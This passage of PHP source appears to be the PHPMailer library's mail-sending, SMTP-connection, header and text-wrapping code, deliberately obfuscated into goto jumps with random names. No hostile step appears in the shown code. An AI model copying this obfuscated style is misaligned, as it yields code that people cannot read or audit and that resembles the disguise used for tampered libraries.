bMYPY; GQqbZ: if ($this->SingleTo) { goto Yjg3U; } goto GSots; WZzr5: goto WVkuB; goto LcHVD; JOAGu: sOfPE: goto ePUVs; gPdiD: NLgjb: goto g0Vhf; Fxdtm: } protected static function isShellSafe($Yc9br) { goto ErJKc; R2uKh: ++$Bkv4C; goto X9VfD; X9VfD: goto aWLJF; goto mCBkD; IzWJu: return true; goto px0Om; rQsrJ: $Bkv4C = 0; goto jUJcg; xgIl6: Fk_fv: goto R2uKh; AVqsE: if (!(!ctype_alnum($PCy6Y) && strpos("@_-.", $PCy6Y) === false)) { goto AisHg; } goto i2oFh; jUJcg: aWLJF: goto yOupB; ErJKc: if (!(escapeshellcmd($Yc9br) !== $Yc9br or !in_array(escapeshellarg($Yc9br), ["'{$Yc9br}'", ""{$Yc9br}""]))) { goto LPl9O; } goto vV32P; EgO63: AisHg: goto xgIl6; i2oFh: return false; goto EgO63; vV32P: return false; goto CYVHm; CYVHm: LPl9O: goto POtYH; mCBkD: ne6N_: goto IzWJu; POtYH: $B3Rsy = strlen($Yc9br); goto rQsrJ; c0dRk: $PCy6Y = $Yc9br[$Bkv4C]; goto AVqsE; yOupB: if (!($Bkv4C < $B3Rsy)) { goto ne6N_; } goto c0dRk; px0Om: } protected static function isPermittedPath($q7qVx) { return !preg_match("#^[a-z]+://#i", $q7qVx); } protected function mailSend($lTiMf, $qKvMM) { goto XkWsZ; Ko6Ye: MdZPV: goto VUvd0; zZZQs: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto vTl8t; } goto mlbii; W9xNK: foreach ($this->to as $nUYG9) { $wcTVC[] = $this->addrFormat($nUYG9); Rx019: } goto Hho_z; VUvd0: return true; goto dU0xS; l5tTq: throw new Exception($this->lang("instantiate"), self::OsS1U); goto Ko6Ye; dBLSa: $oKqtC = $this->mailPassthru($cIRlt, $this->Subject, $qKvMM, $lTiMf, $vS0Gu); goto zzP5x; NmMK7: ini_set("sendmail_from", $Hnle5); goto GVfBA; uvf6e: foreach ($wcTVC as $eXV7I) { goto aUigs; fAs8h: JzTMZ: goto ish61; aUigs: $oKqtC = $this->mailPassthru($eXV7I, $this->Subject, $qKvMM, $lTiMf, $vS0Gu); goto T4Wwt; T4Wwt: $this->doCallback($oKqtC, [$eXV7I], $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto fAs8h; ish61: } goto WLNYD; G6mbP: if (!isset($Hnle5)) { goto fxAnI; } goto NmMK7; rkvu9: rYpnN: goto c3UdF; HldEg: $cIRlt = implode(", ", $wcTVC); goto gcZOP; Snqai: vTl8t: goto uuKyH; ngoG0: $vS0Gu = sprintf("-f%s", $this->Sender); goto rkvu9; c3UdF: UZTov: goto zZZQs; Hho_z: QcrZk: goto HldEg; CHZe2: goto I5K0S; goto iUxCl; iUxCl: okne2: goto uvf6e; KO7A4: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto UZTov; } goto Be4Bm; XkWsZ: $wcTVC = []; goto W9xNK; mlbii: $Hnle5 = ini_get("sendmail_from"); goto IHcdY; MwIJf: I5K0S: goto G6mbP; Be4Bm: if (!self::isShellSafe($this->Sender)) { goto rYpnN; } goto ngoG0; GVfBA: fxAnI: goto qI5sG; IHcdY: ini_set("sendmail_from", $this->Sender); goto Snqai; uuKyH: $oKqtC = false; goto TBpSs; qI5sG: if ($oKqtC) { goto MdZPV; } goto l5tTq; zzP5x: $this->doCallback($oKqtC, $this->to, $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto CHZe2; gcZOP: $vS0Gu = null; goto KO7A4; TBpSs: if ($this->SingleTo and count($wcTVC) > 1) { goto okne2; } goto dBLSa; WLNYD: xE_Rz: goto MwIJf; dU0xS: } public function getSMTPInstance() { goto pwJVn; KfLPq: $this->smtp = new fPwvf(); goto x3DSi; pwJVn: if (is_object($this->smtp)) { goto U5LiD; } goto KfLPq; x3DSi: U5LiD: goto ipgtr; ipgtr: return $this->smtp; goto Vsx1t; Vsx1t: } public function setSMTPInstance(FpWvF $fsA9p) { $this->smtp = $fsA9p; return $this->smtp; } protected function smtpSend($lTiMf, $qKvMM) { goto lWBOO; Yhtys: nhg91: goto G8o9U; nyoUY: if (!(count($kAx3Q) > 0)) { goto Fizr5; } goto YxZHC; dP1bG: etdyG: goto oBj9u; lWBOO: $kAx3Q = []; goto JIhUY; EgxZf: foreach ([$this->to, $this->cc, $this->bcc] as $xb6pw) { goto XtQjs; XtQjs: foreach ($xb6pw as $cIRlt) { goto zbisL; HHq9m: Zmfmv: goto edAvi; beH2a: Zwe3L: goto hCK_4; ozgRO: $dKXAP = false; goto HHq9m; oeSKY: $dKXAP = true; goto QHqqs; NtuIH: $z9TKW = $this->smtp->getError(); goto Bfuuu; Bfuuu: $kAx3Q[] = ["to" => $cIRlt[0], "error" => $z9TKW["detail"]]; goto ozgRO; B22Vx: DbeP0: goto NtuIH; edAvi: $qHlBg[] = ["issent" => $dKXAP, "to" => $cIRlt[0]]; goto beH2a; QHqqs: goto Zmfmv; goto B22Vx; zbisL: if (!$this->smtp->recipient($cIRlt[0], $this->dsn)) { goto DbeP0; } goto oeSKY; hCK_4: } goto VRPxX; VRPxX: bAqpe: goto Jscu4; Jscu4: tSjuO: goto HW2pY; HW2pY: } goto Yhtys; tVYFi: n3q63: goto nyoUY; EZXPE: qraLB: goto CFI1N; AHNfg: $this->smtp->close(); goto JggUW; CFI1N: foreach ($qHlBg as $ywpGc) { $this->doCallback($ywpGc["issent"], [$ywpGc["to"]], [], [], $this->Subject, $qKvMM, $this->From, ["smtp_transaction_id" => $pTDtR]); IWWTc: } goto tVYFi; JIhUY: if ($this->smtpConnect($this->SMTPOptions)) { goto C8v1U; } goto V3KU6; y0paH: Fizr5: goto f0Fgp; G8o9U: if (!(count($this->all_recipients) > count($kAx3Q) and !$this->smtp->data($lTiMf . $qKvMM))) { goto RuTev; } goto aOeM1; Wx_ZQ: XuUMP: goto kheTm; ya2cb: pG39z: goto bbFdt; d3gxa: goto XuUMP; goto dP1bG; FKuJZ: $this->smtp->quit(); goto AHNfg; YqXMa: C8v1U: goto Puv5_; oBj9u: $BpRrR = $this->From; goto Wx_ZQ; Vzysd: $this->setError($this->lang("from_failed") . $BpRrR . " : " . implode(",", $this->smtp->getError())); goto pPv4U; Puv5_: if ('' == $this->Sender) { goto etdyG; } goto a9hYK; FyeJb: RuTev: goto Twbeb; xEjGe: wyu_p: goto Xkn5C; JggUW: goto qraLB; goto ya2cb; YxZHC: $j7DQA = ''; goto QJJU0; N1Q5T: throw new Exception($this->lang("recipients_failed") . $j7DQA, self::zcFf8); goto y0paH; Twbeb: $pTDtR = $this->smtp->getLastTransactionID(); goto R6RIR; Xkn5C: $qHlBg = []; goto EgxZf; QJJU0: foreach ($kAx3Q as $uWiUA) { $j7DQA .= $uWiUA["to"] . ": " . $uWiUA["error"]; expAn: } goto ZCR1J; f0Fgp: return true; goto LuSDm; bbFdt: $this->smtp->reset(); goto EZXPE; V3KU6: throw new Exception($this->lang("smtp_connect_failed"), self::OsS1U); goto YqXMa; a9hYK: $BpRrR = $this->Sender; goto d3gxa; R6RIR: if ($this->SMTPKeepAlive) { goto pG39z; } goto FKuJZ; aOeM1: throw new Exception($this->lang("data_not_accepted"), self::OsS1U); goto FyeJb; pPv4U: throw new Exception($this->ErrorInfo, self::OsS1U); goto xEjGe; kheTm: if ($this->smtp->mail($BpRrR)) { goto wyu_p; } goto Vzysd; ZCR1J: F1RN0: goto N1Q5T; LuSDm: } public function smtpConnect($LiNAI = null) { goto ls_Et; RUH0n: foreach ($Yu0M6 as $iJa6J) { goto ko2t7; OSgj4: wizVt: goto vNLnP; ty6OZ: Le3pV: goto axtnz; vy60s: $Auibs = "ssl://"; goto Y2KKY; koN2q: $dXha4 = "ssl"; goto cXdQB; Lu8jJ: goto xXKL2; goto OSgj4; KWn3B: $SbhNW = $Sveuh[3]; goto K5sOw; w2T4z: goto xXKL2; goto ty6OZ; PVN3X: throw new Exception($this->lang("extension_missing") . "openssl", self::OsS1U); goto wTdAU; CNAk4: if (!$this->smtp->connect($Auibs . $SbhNW, $TXy7T, $this->Timeout, $LiNAI)) { goto YOXqz; } goto QGcOJ; qbN6q: if (!($AUqvD > 0 and $AUqvD < 65536)) { goto GXwwj; } goto XCUdr; kRl99: $AUqvD = (int) $Sveuh[4]; goto qbN6q; PV7QA: GXwwj: goto CNAk4; oWivj: $dXha4 = "tls"; goto jTuTF; JYpJY: YOXqz: goto Jkt_K; aOgSL: static::edebug($this->lang("connect_host") . " " . $iJa6J); goto Lu8jJ; K5sOw: $TXy7T = $this->Port; goto kRl99; MVXGV: $Q_9gG = true; goto oWivj; gDL5w: xRyWG: goto vy60s; vNLnP: if (static::isValidHost($Sveuh[3])) { goto Le3pV; } goto m81P5; QxF_q: AxjDl: goto KWn3B; bSy8t: if ("tls" == $Sveuh[2]) { goto HnTzV; } goto fX_o7; XCUdr: $TXy7T = $AUqvD; goto PV7QA; k7piB: if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($iJa6J), $Sveuh)) { goto wizVt; } goto aOgSL; QGcOJ: try { goto Q05Rf; hCBjo: goto FTfS3; goto mZ7lt; VzIIz: if (!$this->SMTPAuth) { goto x5xYV; } goto g0JJd; g0JJd: if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { goto Xqhzs; } goto JZi55; mZ7lt: iD7a1: goto fEch3; WSyDP: $this->smtp->hello($NMgXg); goto D1cz8; vvHD5: if ($this->smtp->startTLS()) { goto gydO6; } goto kqA5r; ZsIKU: if (!$Q_9gG) { goto ilZkI; } goto vvHD5; n7O1w: Xqhzs: goto VD1PC; yAKuR: gydO6: goto feckW; VD1PC: x5xYV: goto Jotwr; D1cz8: if (!($this->SMTPAutoTLS and $EkE21 and "ssl" != $dXha4 and $this->smtp->getServerExt("STARTTLS"))) { goto J95hK; } goto qjiwn; Jotwr: return true; goto GXDzM; ngVnZ: J95hK: goto ZsIKU; fEch3: $NMgXg = $this->Helo; goto T9QjL; tzfwz: ilZkI: goto VzIIz; zWk0H: $NMgXg = $this->serverHostname(); goto hCBjo; feckW: $this->smtp->hello($NMgXg); goto tzfwz; Q05Rf: if ($this->Helo) { goto iD7a1; } goto zWk0H; T9QjL: FTfS3: goto WSyDP; JZi55: throw new Exception($this->lang("authenticate")); goto n7O1w; kqA5r: throw new Exception($this->lang("connect_host")); goto yAKuR; qjiwn: $Q_9gG = true; goto ngVnZ; GXDzM: } catch (Exception $AggU6) { goto PxEDz; PxEDz: $BJeKA = $AggU6; goto QxgD0; WmwTI: $this->smtp->quit(); goto IQLSR; QxgD0: $this->edebug($AggU6->getMessage()); goto WmwTI; IQLSR: } goto JYpJY; bsdvB: if ($EkE21) { goto M6gjG; } goto PVN3X; VIJcp: $Q_9gG = "tls" == $this->SMTPSecure; goto oe05E; FMtGv: $EkE21 = defined("OPENSSL_ALGO_SHA256"); goto cKbMh; LOPCg: HnTzV: goto MVXGV; Jkt_K: xXKL2: goto x6xhN; wTdAU: M6gjG: goto QxF_q; jTuTF: c0ugV: goto FMtGv; m81P5: static::edebug($this->lang("connect_host") . " " . $iJa6J); goto w2T4z; cXdQB: goto c0ugV; goto LOPCg; RqENO: $dXha4 = $this->SMTPSecure; goto VIJcp; axtnz: $Auibs = ''; goto RqENO; ko2t7: $Sveuh = []; goto k7piB; cKbMh: if (!("tls" === $dXha4 or "ssl" === $dXha4)) { goto AxjDl; } goto bsdvB; fX_o7: goto c0ugV; goto gDL5w; Y2KKY: $Q_9gG = false; goto koN2q; oe05E: if ("ssl" == $Sveuh[2] or '' == $Sveuh[2] and "ssl" == $this->SMTPSecure) { goto xRyWG; } goto bSy8t; x6xhN: } goto Yoq_O; mHWk3: $this->smtp->setVerp($this->do_verp); goto beGgd; j3Jw5: if (!($this->exceptions and null !== $BJeKA)) { goto lCj4x; } goto oSVcB; uPC6M: $BJeKA = null; goto RUH0n; Yoq_O: zuWSo: goto XKsd0; dZpc3: d2q8f: goto KoRzH; IKK9o: $this->smtp = $this->getSMTPInstance(); goto WdTvF; tfvV3: if (!(null === $LiNAI)) { goto OFYbt; } goto Lr6SP; w_avm: OFYbt: goto LNHE0; cbsmY: lCj4x: goto kh5za; XKsd0: $this->smtp->close(); goto j3Jw5; AA0pY: $this->smtp->setDebugLevel($this->SMTPDebug); goto AvfHg; beGgd: $Yu0M6 = explode(";", $this->Host); goto uPC6M; AvfHg: $this->smtp->setDebugOutput($this->Debugoutput); goto mHWk3; kh5za: return false; goto jwQht; i7F1O: return true; goto dZpc3; ls_Et: if (!(null === $this->smtp)) { goto r9PU0; } goto IKK9o; KoRzH: $this->smtp->setTimeout($this->Timeout); goto AA0pY; WdTvF: r9PU0: goto tfvV3; Lr6SP: $LiNAI = $this->SMTPOptions; goto w_avm; LNHE0: if (!$this->smtp->connected()) { goto d2q8f; } goto i7F1O; oSVcB: throw $BJeKA; goto cbsmY; jwQht: } public function smtpClose() { goto qXPmq; gf_0L: N1Zw3: goto FZ5ZC; pt0RS: $this->smtp->quit(); goto bpjPD; bpjPD: $this->smtp->close(); goto XcljL; qXPmq: if (!(null !== $this->smtp)) { goto N1Zw3; } goto od60E; od60E: if (!$this->smtp->connected()) { goto SI5bw; } goto pt0RS; XcljL: SI5bw: goto gf_0L; FZ5ZC: } public function setLanguage($gydhc = "en", $ncCJB = '') { goto jVoNq; WePIt: $gydhc = $lSC5H[$gydhc]; goto FHDTZ; jfNEh: if (!empty($ncCJB)) { goto guAtd; } goto ICVAO; hrqmX: goto RsUB0; goto HeWI3; eR1Nk: $N0Yma = false; goto bDkD_; hogcm: $this->language = $k11p7; goto gkL7w; f7teK: $gydhc = "en"; goto FUmwE; WX5ce: $k11p7 = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "]; goto jfNEh; h048w: if (!static::isPermittedPath($wzYa4) || !file_exists($wzYa4)) { goto uoMkk; } goto AXzhs; ZILGW: if (!("en" != $gydhc)) { goto s26IN; } goto h048w; ICVAO: $ncCJB = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; goto WFOLK; jVoNq: $lSC5H = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"]; goto u544_; A9XpV: s26IN: goto hogcm; gkL7w: return (bool) $N0Yma; goto wIAR9; AXzhs: $N0Yma = (include $wzYa4); goto hrqmX; WFOLK: guAtd: goto iRvlL; iRvlL: if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $gydhc)) { goto PCuMl; } goto f7teK; HeWI3: uoMkk: goto eR1Nk; FUmwE: PCuMl: goto NGnAi; NGnAi: $N0Yma = true; goto NuJLl; NuJLl: $wzYa4 = $ncCJB . "phpmailer.lang-" . $gydhc . ".php"; goto ZILGW; u544_: if (!isset($lSC5H[$gydhc])) { goto QtsuZ; } goto WePIt; FHDTZ: QtsuZ: goto WX5ce; bDkD_: RsUB0: goto A9XpV; wIAR9: } public function getTranslations() { return $this->language; } public function addrAppend($oerFh, $Ti2Mg) { goto fk9i3; fk9i3: $bz9I2 = []; goto cIJFe; hDYm5: return $oerFh . ": " . implode(", ", $bz9I2) . static::$LE; goto p8TUd; N1FLU: ExAj2: goto hDYm5; cIJFe: foreach ($Ti2Mg as $Jm2Lh) { $bz9I2[] = $this->addrFormat($Jm2Lh); FVYbn: } goto N1FLU; p8TUd: } public function addrFormat($Ti2Mg) { goto U53MH; QHn13: return $this->secureHeader($Ti2Mg[0]); goto m9TOO; m9TOO: g9frd: goto syMC9; syMC9: return $this->encodeHeader($this->secureHeader($Ti2Mg[1]), "phrase") . " <" . $this->secureHeader($Ti2Mg[0]) . ">"; goto pLkia; U53MH: if (!empty($Ti2Mg[1])) { goto g9frd; } goto QHn13; pLkia: } public function wrapText($upS1q, $B3Rsy, $JUC2O = false) { goto zO0xo; pKXLU: return $upS1q; goto b5Via; E3Zqh: $FpOVy = static::Y54ie === strtolower($this->CharSet); goto DajJy; SlSis: $W3vc4 = static::$LE; goto p_qKO; HST19: $upS1q = ''; goto d3Snv; p_qKO: goto uboFB; goto JAvXT; uFbVf: $upS1q = substr($upS1q, 0, -$aQ1V5); goto H6C2r; JAvXT: S2F4A: goto qY8QD; DajJy: $aQ1V5 = strlen(static::$LE); goto wuLqh; Op3jj: z9f3e: goto pKXLU; ARiH6: uboFB: goto E3Zqh; wTt4D: if (!(substr($upS1q, -$aQ1V5) == static::$LE)) { goto OExvL; } goto uFbVf; H6C2r: OExvL: goto M5RIo; qY8QD: $W3vc4 = sprintf(" =%s", static::$LE); goto ARiH6; zO0xo: if ($JUC2O) { goto S2F4A; } goto SlSis; HMzVN: $upS1q = static::normalizeBreaks($upS1q); goto wTt4D; wuLqh: $UqY_B = strlen(static::$LE); goto HMzVN; d3Snv: foreach ($FZAZx as $agbTK) { goto A6K_J; WBqGO: cuASl: goto y5YBX; EhMnV: foreach ($I_zMX as $dMM2L) { goto m5UYX; FOe0W: goto fihO9; goto mUoQc; LBRP0: $m1qUr = $dMM2L; goto sFLfD; z0vfV: if ($Xyme4) { goto ytKEC; } goto iPehP; N2RRx: FlMWJ: goto Xc4MM; Xc4MM: $i7eNA = $this->utf8CharBoundary($dMM2L, $i7eNA); goto SHYk9; N2VGU: ObeQp: goto baqkL; bkkcr: if ($FpOVy) { goto FRu5_; } goto U63mp; CmiFV: goto fihO9; goto S23iX; BuJkh: --$i7eNA; goto FOe0W; YygQ0: Q7NG1: goto uBGfW; zxFTa: cw1eB: goto e2RUj; ON2Ad: if ("=" == substr($dMM2L, $i7eNA - 1, 1)) { goto avzze; } goto cdvBl; tC_zE: W7G1H: goto e7ckG; baqkL: $upS1q .= $C3xv4 . sprintf("=%s", static::$LE); goto tC_zE; Ag7_w: goto fihO9; goto AYgjy; Gkjb7: goto KKCxk; goto pHrY4; eT5tG: ytKEC: goto aSThu; aLMST: if (strlen($dMM2L) > 0) { goto ObeQp; } goto gSBWh; cPGus: if ($FpOVy) { goto FlMWJ; } goto ON2Ad; gDY22: e0lW0: goto VSi9C; urGW9: goto e0lW0; goto dlWN4; iPehP: $m1qUr .= " "; goto eT5tG; sFLfD: mDS6E: goto wunwU; JPYSe: v4mxj: goto r0TWT; xKAn2: $dMM2L = substr($dMM2L, $i7eNA); goto aLMST; tn3K8: $upS1q .= $m1qUr . $W3vc4; goto Gkjb7; KSK6s: --$i7eNA; goto TBDuN; VSi9C: UFAC3: goto efJaa; AYgjy: r6nCq: goto BuJkh; e7ckG: goto HSbd5; goto gDY22; yVxr3: N9DDb: goto u1pxN; dwDWJ: $uQPZl = $B3Rsy - strlen($m1qUr) - $UqY_B; goto NuFts; p28C2: goto W7G1H; goto N2VGU; mUoQc: dQ1VS: goto CA7UG; S23iX: FRu5_: goto kWYvZ; idVOV: Umn6h: goto dwDWJ; ELxqp: goto cw1eB; goto N2RRx; SZ7NC: if (!($B3Rsy <= 0)) { goto o8Yej; } goto urGW9; CU4ff: KKCxk: goto Ai3j0; aSThu: $m1qUr .= $dMM2L; goto pIPBP; TBDuN: goto cw1eB; goto JPYSe; CA7UG: $i7eNA -= 2; goto sX8SK; U63mp: if ("=" == substr($dMM2L, $i7eNA - 1, 1)) { goto r6nCq; } goto qLlmd; sX8SK: fihO9: goto UwEHs; pHrY4: LZMyr: goto mIhTg; jvGIc: $dMM2L = substr($dMM2L, $i7eNA); goto GoVmG; Ya2dE: if ($uQPZl > 20) { goto LZMyr; } goto tn3K8; wunwU: goto UFAC3; goto idVOV; UwEHs: $C3xv4 = substr($dMM2L, 0, $i7eNA); goto xKAn2; qLlmd: if ("=" == substr($dMM2L, $i7eNA - 2, 1)) { goto dQ1VS; } goto CmiFV; cdvBl: if ("=" == substr($dMM2L, $i7eNA - 2, 1)) { goto v4mxj; } goto ELxqp; NuFts: if ($Xyme4) { goto Q7NG1; } goto Ya2dE; r0TWT: $i7eNA -= 2; goto zxFTa; SHYk9: goto cw1eB; goto m1b4v; kWYvZ: $i7eNA = $this->utf8CharBoundary($dMM2L, $i7eNA); goto Ag7_w; pIPBP: if (!(strlen($m1qUr) > $B3Rsy and '' != $f5_JA)) { goto mDS6E; } goto qkqQM; efJaa: $Xyme4 = false; goto yVxr3; mIhTg: $i7eNA = $uQPZl; goto cPGus; e2RUj: $C3xv4 = substr($dMM2L, 0, $i7eNA); goto jvGIc; gSBWh: $m1qUr = $C3xv4; goto p28C2; Ai3j0: $m1qUr = ''; goto YygQ0; GoVmG: $m1qUr .= " " . $C3xv4; goto X15XX; m1b4v: avzze: goto KSK6s; X15XX: $upS1q .= $m1qUr . sprintf("=%s", static::$LE); goto CU4ff; TrFW2: $f5_JA = $m1qUr; goto z0vfV; m5UYX: if ($JUC2O and strlen($dMM2L) > $B3Rsy) { goto Umn6h; } goto TrFW2; SYiR3: $i7eNA = $B3Rsy; goto bkkcr; qkqQM: $upS1q .= $f5_JA . $W3vc4; goto LBRP0; lqqkZ: if (!(strlen($dMM2L) > 0)) { goto e0lW0; } goto SZ7NC; uBGfW: HSbd5: goto lqqkZ; dlWN4: o8Yej: goto SYiR3; u1pxN: } goto dXF8i; gTPRV: $m1qUr = ''; goto se3CW; dXF8i: tm7Jw: goto Ywa6T; A6K_J: $I_zMX = explode(" ", $agbTK); goto gTPRV; se3CW: $Xyme4 = true; goto EhMnV; Ywa6T: $upS1q .= $m1qUr . static::$LE; goto WBqGO; y5YBX: } goto Op3jj; M5RIo: $FZAZx = explode(static::$LE, $upS1q); goto HST19; b5Via: } public function utf8CharBoundary($fb729, $rY8m7) { goto GyovF; h2wOc: YOW6e: goto V60FV; ITQwl: goto TZrBd; goto b4Gax; QTJco: kKA0Y: goto hTVap; G3MEM: $Zqc2I = 3; goto veu0A; wvsKQ: goto kKA0Y; goto h2wOc; GyovF: $fzhA8 = false; goto G3MEM; bitd4: $XNldA = substr($fb729, $rY8m7 - $Zqc2I + $Q0KTa + 1, 2); goto cGcqI; xB6gz: if ($PjEy7 >= 192) { goto YRM7B; } goto NoKoX; b4Gax: lqzF9: goto I5YYs; NoKoX: if ($PjEy7 < 192) { goto YOW6e; } goto ecIqX; n9c56: if (!($Q0KTa > 0)) { goto EFDhT; } goto xzyZH; I5YYs: return $rY8m7; goto JTiNE; OUyJj: $fzhA8 = true; goto CeP6n; xzyZH: $rY8m7 -= $Zqc2I - $Q0KTa; goto s5VeH; hTVap: SMwiN: goto ITQwl; cGcqI: $PjEy7 = hexdec($XNldA); goto mDsqM; Yib6P: YRM7B: goto TNXVK; CMk_O: $Q0KTa = strpos($dwOBI, "="); goto Rbmpk; veu0A: TZrBd: goto cdrIu; V60FV: $Zqc2I += 3; goto QTJco; mDsqM: if ($PjEy7 < 128) { goto nZYnr; } goto xB6gz; ecIqX: goto kKA0Y; goto tP8Ly; x50yR: goto kKA0Y; goto Yib6P; s5VeH: EFDhT: goto ueDS5; bEOim: $dwOBI = substr($fb729, $rY8m7 - $Zqc2I, $Zqc2I); goto CMk_O; tP8Ly: nZYnr: goto n9c56; ueDS5: $fzhA8 = true; goto x50yR; Rbmpk: if (false !== $Q0KTa) { goto H_yGT; } goto OUyJj; ihuGJ: $fzhA8 = true; goto wvsKQ; cdrIu: if ($fzhA8) { goto lqzF9; } goto bEOim; bMfkk: H_yGT: goto bitd4; TNXVK: $rY8m7 -= $Zqc2I - $Q0KTa; goto ihuGJ; CeP6n: goto SMwiN; goto bMfkk; JTiNE: } public function setWordWrap() { goto KUkAp; dkQVm: ajERP: goto CSstf; BsNqI: switch ($this->message_type) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); goto tPVmG; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); goto tPVmG; } goto dkQVm; CSstf: tPVmG: goto qtovF; JbrIv: mur0L: goto BsNqI; EjKlu: return; goto JbrIv; KUkAp: if (!($this->WordWrap < 1)) { goto mur0L; } goto EjKlu; qtovF: } public function createHeader() { goto hINAT; hXE0T: if (!("mail" != $this->Mailer)) { goto tITiy; } goto L5n2B; w1alZ: x_zp5: goto YBnXv; IK1PK: G64ku: goto w9Iok; JKRKN: if ($this->sign_key_file) { goto jSInq; } goto F5f8q; FWQ9L: qv1dS: goto o86cA; JZh2Q: BvQel: goto STKIa; YeuOo: QAhSW: goto k8xkn; Da7b1: KNepG: goto nXUi3; Y8_lz: if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { goto pq8SV; } goto ExuU6; nXUi3: if (!("mail" != $this->Mailer)) { goto HTyP4; } goto VuvgO; H9u24: $oKqtC .= $this->addrAppend("Bcc", $this->bcc); goto yocYb; W0feM: goto x_zp5; goto DKXKL; k8xkn: if ('' == $this->XMailer) { goto X53Qf; } goto cUV1w; ONmcN: $this->lastMessageID = $this->MessageID; goto aVSoG; d5SV_: if (!(count($this->cc) > 0)) { goto NSkGf; } goto FCeUa; hINAT: $oKqtC = ''; goto FcEnw; Zi7Ur: $oKqtC .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); goto eBuBV; EcEg4: $oKqtC .= $this->addrAppend("Reply-To", $this->ReplyTo); goto Da7b1; xaSiR: $oKqtC .= $this->getMailMIME(); goto IqfKA; o86cA: if (!('' != $this->ConfirmReadingTo)) { goto G6Xx7; } goto Zi7Ur; cEkBD: $oKqtC .= $this->headerLine("X-Mailer", $yFuaz); goto PuxgK; jzA0w: if (!(("sendmail" == $this->Mailer or "qmail" == $this->Mailer or "mail" == $this->Mailer) and count($this->bcc) > 0)) { goto u_OGl; } goto H9u24; f7Bzr: tITiy: goto W0feM; JuTdJ: goto x_zp5; goto WFO0w; vs99A: gn0D9: goto l2cQy; YBnXv: goto BvQel; goto IK1PK; Rr3EM: if (count($this->cc) == 0) { goto o1vGd; } goto JuTdJ; vQqxc: goto YWSwL; goto WtWQ0; F5f8q: $oKqtC .= $this->headerLine("MIME-Version", "1.0"); goto xaSiR; f9dod: $oKqtC .= $this->headerLine("X-Mailer", "PHPMailer " . self::kQUR3); goto FWQ9L; A9W6u: if (count($this->to) > 0) { goto Y282X; } goto Rr3EM; YVXdC: if (!$yFuaz) { goto tjAXK; } goto cEkBD; rGgaG: $oKqtC .= $this->headerLine("X-Priority", $this->Priority); goto YeuOo; tsZnS: NSkGf: goto jzA0w; ExuU6: $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); goto vQqxc; EgVx7: X53Qf: goto f9dod; L5n2B: $oKqtC .= $this->addrAppend("To", $this->to); goto f7Bzr; PuxgK: tjAXK: goto j0vO1; wJg0R: if (!(count($this->ReplyTo) > 0)) { goto KNepG; } goto EcEg4; WFO0w: Y282X: goto hXE0T; UIuVb: foreach ($this->to as $nUYG9) { $this->SingleToArray[] = $this->addrFormat($nUYG9); P_CGZ: } goto vs99A; TGB4Y: sfTYe: goto JKRKN; FCeUa: $oKqtC .= $this->addrAppend("Cc", $this->cc); goto tsZnS; SUNmX: HTyP4: goto Y8_lz; sM8t0: foreach ($this->CustomHeader as $lTiMf) { $oKqtC .= $this->headerLine(trim($lTiMf[0]), $this->encodeHeader(trim($lTiMf[1]))); cfIG3: } goto TGB4Y; nOvDj: return $oKqtC; goto ocXap; l2cQy: C3sqU: goto JZh2Q; j0vO1: goto qv1dS; goto EgVx7; FcEnw: $oKqtC .= $this->headerLine("Date", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); goto iiWFa; aA2bj: $oKqtC .= $this->headerLine("To", "undisclosed-recipients:;"); goto w1alZ; suCBr: $oKqtC .= $this->headerLine("Message-ID", $this->lastMessageID); goto iOarg; aVSoG: YWSwL: goto suCBr; STKIa: $oKqtC .= $this->addrAppend("From", [[trim($this->From), $this->FromName]]); goto d5SV_; IqfKA: jSInq: goto nOvDj; VuvgO: $oKqtC .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); goto SUNmX; cUV1w: $yFuaz = trim($this->XMailer); goto YVXdC; yocYb: u_OGl: goto wJg0R; w9Iok: if (!("mail" != $this->Mailer)) { goto C3sqU; } goto UIuVb; iOarg: if (!(null !== $this->Priority)) { goto QAhSW; } goto rGgaG; eBuBV: G6Xx7: goto sM8t0; iiWFa: if ($this->SingleTo) { goto G64ku; } goto A9W6u; DKXKL: o1vGd: goto aA2bj; WtWQ0: pq8SV: goto ONmcN; ocXap: } public function getMailMIME() { goto lOf3G; a0v2U: return $oKqtC; goto PAgEK; Q2ChK: qeZOS: goto soud2; sybXf: SqqwB: goto a0v2U; soud2: eIIX_: goto v13vy; JiCan: TSZhb: goto zNwsO; jRn2D: $oKqtC .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); goto gIzDo; va74T: if (!("mail" != $this->Mailer)) { goto SqqwB; } goto owPCY; TlYXu: $oKqtC .= $this->headerLine("Content-Transfer-Encoding", static::spJZd); goto JiCan; 